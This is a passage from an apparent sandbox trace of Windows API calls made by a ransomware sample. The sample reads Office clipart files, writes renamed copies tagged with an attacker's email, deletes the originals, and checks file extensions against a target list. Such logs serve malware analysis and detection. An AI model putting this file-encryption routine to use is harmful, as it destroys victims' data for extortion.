Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.399] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.399] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.399] GetLastError () returned 0x0 [0216.399] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0216.416] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0216.417] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.417] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.417] SetEndOfFile (hFile=0x20c) returned 1 [0216.417] CloseHandle (hObject=0x20c) returned 1 [0216.417] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.417] SetEndOfFile (hFile=0x194) returned 1 [0216.418] CloseHandle (hObject=0x194) returned 1 [0216.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0216.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.418] lstrlenW (lpString=".doc") returned 4 [0216.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.418] lstrlenW (lpString=".docx") returned 5 [0216.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.418] lstrlenW (lpString=".pdf") returned 4 [0216.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.418] lstrlenW (lpString=".xls") returned 4 [0216.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.418] lstrlenW (lpString=".xlsx") returned 5 [0216.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.418] lstrlenW (lpString=".ppt") returned 4 [0216.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.419] lstrlenW (lpString=".zip") returned 4 [0216.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.419] lstrlenW (lpString=".rar") returned 4 [0216.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.419] lstrlenW (lpString=".bz2") returned 4 [0216.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.419] lstrlenW (lpString=".7z") returned 3 [0216.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.419] lstrlenW (lpString=".dbf") returned 4 [0216.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.419] lstrlenW (lpString=".1cd") returned 4 [0216.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0216.419] lstrlenW (lpString=".jpg") returned 4 [0216.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.419] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2756) returned 1 [0216.550] CloseHandle (hObject=0x194) returned 1 [0216.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0216.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.551] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.551] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.551] GetLastError () returned 0x0 [0216.551] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xac4, lpOverlapped=0x0) returned 1 [0216.552] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0216.553] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.553] SetEndOfFile (hFile=0x210) returned 1 [0216.553] CloseHandle (hObject=0x210) returned 1 [0216.553] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.553] SetEndOfFile (hFile=0x194) returned 1 [0216.554] CloseHandle (hObject=0x194) returned 1 [0216.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString=".doc") returned 4 [0216.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString=".docx") returned 5 [0216.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.555] lstrlenW (lpString=".pdf") returned 4 [0216.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString=".xls") returned 4 [0216.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.555] lstrlenW (lpString=".xlsx") returned 5 [0216.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.555] lstrlenW (lpString=".ppt") returned 4 [0216.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString=".zip") returned 4 [0216.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.555] lstrlenW (lpString=".rar") returned 4 [0216.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString=".bz2") returned 4 [0216.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString=".7z") returned 3 [0216.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString=".dbf") returned 4 [0216.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString=".1cd") returned 4 [0216.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0216.555] lstrlenW (lpString=".jpg") returned 4 [0216.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.561] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.561] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.561] GetLastError () returned 0x0 [0216.561] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0216.572] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0216.572] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.572] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.572] SetEndOfFile (hFile=0x210) returned 1 [0216.573] CloseHandle (hObject=0x210) returned 1 [0216.573] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.573] SetEndOfFile (hFile=0x194) returned 1 [0216.573] CloseHandle (hObject=0x194) returned 1 [0216.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString=".doc") returned 4 [0216.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString=".docx") returned 5 [0216.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.574] lstrlenW (lpString=".pdf") returned 4 [0216.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString=".xls") returned 4 [0216.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.574] lstrlenW (lpString=".xlsx") returned 5 [0216.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.574] lstrlenW (lpString=".ppt") returned 4 [0216.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString=".zip") returned 4 [0216.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.574] lstrlenW (lpString=".rar") returned 4 [0216.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString=".bz2") returned 4 [0216.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString=".7z") returned 3 [0216.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString=".dbf") returned 4 [0216.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString=".1cd") returned 4 [0216.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0216.574] lstrlenW (lpString=".jpg") returned 4 [0216.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.575] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=7668) returned 1 [0216.575] CloseHandle (hObject=0x194) returned 1 [0216.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0216.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.575] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.576] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.576] GetLastError () returned 0x0 [0216.576] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0216.583] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0216.584] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.584] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.584] SetEndOfFile (hFile=0x210) returned 1 [0216.584] CloseHandle (hObject=0x210) returned 1 [0216.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.585] SetEndOfFile (hFile=0x194) returned 1 [0216.585] CloseHandle (hObject=0x194) returned 1 [0216.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.586] lstrlenW (lpString=".doc") returned 4 [0216.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString=".docx") returned 5 [0216.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.586] lstrlenW (lpString=".pdf") returned 4 [0216.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString=".xls") returned 4 [0216.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.586] lstrlenW (lpString=".xlsx") returned 5 [0216.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.586] lstrlenW (lpString=".ppt") returned 4 [0216.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.586] lstrlenW (lpString=".zip") returned 4 [0216.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.586] lstrlenW (lpString=".rar") returned 4 [0216.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString=".bz2") returned 4 [0216.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString=".7z") returned 3 [0216.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.586] lstrlenW (lpString=".dbf") returned 4 [0216.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.586] lstrlenW (lpString=".1cd") returned 4 [0216.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0216.587] lstrlenW (lpString=".jpg") returned 4 [0216.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.587] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=7804) returned 1 [0216.587] CloseHandle (hObject=0x194) returned 1 [0216.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0216.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.587] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.587] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.588] GetLastError () returned 0x0 [0216.588] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0216.599] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0216.599] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.600] WriteFile (in: hFile=0x210, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.600] SetEndOfFile (hFile=0x210) returned 1 [0216.600] CloseHandle (hObject=0x210) returned 1 [0216.600] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.600] SetEndOfFile (hFile=0x194) returned 1 [0216.601] CloseHandle (hObject=0x194) returned 1 [0216.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0216.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.601] lstrlenW (lpString=".doc") returned 4 [0216.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString=".docx") returned 5 [0216.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.601] lstrlenW (lpString=".pdf") returned 4 [0216.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString=".xls") returned 4 [0216.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.601] 